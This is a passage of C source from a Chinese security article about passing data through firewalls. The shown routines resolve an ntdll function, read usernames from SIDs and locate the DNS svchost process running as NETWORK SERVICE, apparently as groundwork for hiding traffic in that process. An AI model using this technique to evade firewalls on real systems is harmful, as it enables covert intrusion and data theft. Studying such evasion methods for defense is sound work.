网络安全 频道

一种新的穿透防火墙的数据传输技术

if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )

  {

    printf( "GetModuleHandle() failed");

    return( FALSE );

  }

  if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress

( ntdll_dll, "ZwQuerySystemInformation" ) ) )

  {

    goto LocateNtdllEntry_exit;

  }

  ret = TRUE;



LocateNtdllEntry_exit:



  if ( FALSE == ret )

  {

    printf( "GetProcAddress() failed");

  }

  ntdll_dll = NULL;

  return( ret );

}





/*++

This routine is used to get a process''s username from it''s SID

--*/

BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)

{

  // sanity checks and default value

  if (pUserSid == NULL)

    return false;

  strcpy(szUserName, "?");



  SID_NAME_USE   snu;

  TCHAR       szUser[_MAX_PATH];

  DWORD       chUser = _MAX_PATH;

  PDWORD       pcchUser = &chUser;

  TCHAR       szDomain[_MAX_PATH];

  DWORD       chDomain = _MAX_PATH;

  PDWORD       pcchDomain = &chDomain;



  // Retrieve user name and domain name based on user''s SID.

  if (

    ::LookupAccountSid(

    NULL,

    pUserSid,

    szUser,

    pcchUser,

    szDomain,

    pcchDomain,

    &snu

    )

    )

  {

    wsprintf(szUserName, "%s", szUser);

  }

  else

  {

    return false;

  }



  return true;

}





/*++



This routine is used to get the DNS process''s Id



Here, I use WTSEnumerateProcesses to get process user Sid,

and then get the process user name. Beacause as it''s a "NETWORK SERVICE",

we cann''t use OpenProcessToken to catch the DNS process''s token information,

even if we has the privilege in catching the SYSTEM''s.



--*/

DWORD GetDNSProcessId()

{

  PWTS_PROCESS_INFO pProcessInfo = NULL;

  DWORD         ProcessCount = 0;

  char         szUserName[255];

  DWORD         Id = -1;



  if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))

  {

    // dump each process description

    for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)

    {



        if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )

        {

          GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);

          if( strcmp(szUserName, "NETWORK SERVICE") == 0)

          {

            Id = pProcessInfo[CurrentProcess].ProcessId;

            break;

          }

        }

    }



    WTSFreeMemory(pProcessInfo);

  }



  return Id;

}





/*++

This doesn''t work as we know, sign...

but you can use the routine for other useing...

--*/

/*

BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)

{

  HANDLE hProcess = NULL,

        hAccessToken = NULL;

  TCHAR InfoBuffer[1000], szDomainName[200];

  PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;

  DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;

  SID_NAME_USE snu;

0
相关文章